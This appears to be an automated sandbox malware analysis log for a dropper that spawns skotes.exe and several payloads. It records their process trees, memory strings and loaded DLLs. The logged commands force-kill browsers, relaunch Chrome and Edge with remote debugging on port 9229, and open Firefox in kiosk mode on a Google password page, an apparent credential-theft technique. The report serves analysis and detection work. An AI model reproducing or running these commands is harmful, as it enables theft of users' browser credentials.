Source: e051bdf457.exe, 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3288701516.0000000005AA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: e051bdf457.exe, 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3288701516.0000000005AA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: e051bdf457.exe, 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3288701516.0000000005AA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: e051bdf457.exe, 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3288701516.0000000005AA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: e051bdf457.exe, 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3288701516.0000000005AA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 79ddad050f.exe, 00000008.00000003.3008778869.0000000005911000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.2979910679.0000000005909000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.2980244884.00000000058EA000.00000004.00000800.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000003.3208770610.0000000005994000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3184861343.000000000594E000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3136988862.0000000005954000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3138678199.0000000005935000.00000004.00000800.00020000.00000000.sdmp, JJKFBAKFBGDHIEBGDAKF.9.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: e051bdf457.exe, 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3288701516.0000000005AA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: e051bdf457.exe, 00000009.00000002.3297911095.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3288701516.0000000005AA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

Virustotal: Detection: 58%

Source: 4611cc433b.exe	String found in binary or memory: /add?substr=
Source: 4611cc433b.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 79ddad050f.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: e051bdf457.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe "C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe "C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe "C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe "C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe "C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe"
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2108,i,15494402203579294748,10477359376935723563,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2188 -parentBuildID 20230927232528 -prefsHandle 2136 -prefMapHandle 2128 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {aa193a77-707b-4b1f-8078-06a41e567f56} 3872 "\\.\pipe\gecko-crash-server-pipe.3872" 1c22c36ef10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe "C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe "C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4112 -parentBuildID 20230927232528 -prefsHandle 2532 -prefMapHandle 4108 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d5bfb161-09aa-43d5-9f3c-cfcc713c6169} 3872 "\\.\pipe\gecko-crash-server-pipe.3872" 1c23ea0f510 rdd
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2748 --field-trial-handle=2264,i,14280928009878877682,9304379882023563075,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=2028,i,13930945499186658156,9224765416305937446,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe "C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe "C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe "C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe "C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe "C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2108,i,15494402203579294748,10477359376935723563,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2188 -parentBuildID 20230927232528 -prefsHandle 2136 -prefMapHandle 2128 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {aa193a77-707b-4b1f-8078-06a41e567f56} 3872 "\\.\pipe\gecko-crash-server-pipe.3872" 1c22c36ef10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4112 -parentBuildID 20230927232528 -prefsHandle 2532 -prefMapHandle 4108 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d5bfb161-09aa-43d5-9f3c-cfcc713c6169} 3872 "\\.\pipe\gecko-crash-server-pipe.3872" 1c23ea0f510 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2748 --field-trial-handle=2264,i,14280928009878877682,9304379882023563075,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=2028,i,13930945499186658156,9224765416305937446,262144 /prefetch:3

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe	Section loaded: sspicli.dll	Jump to behavior
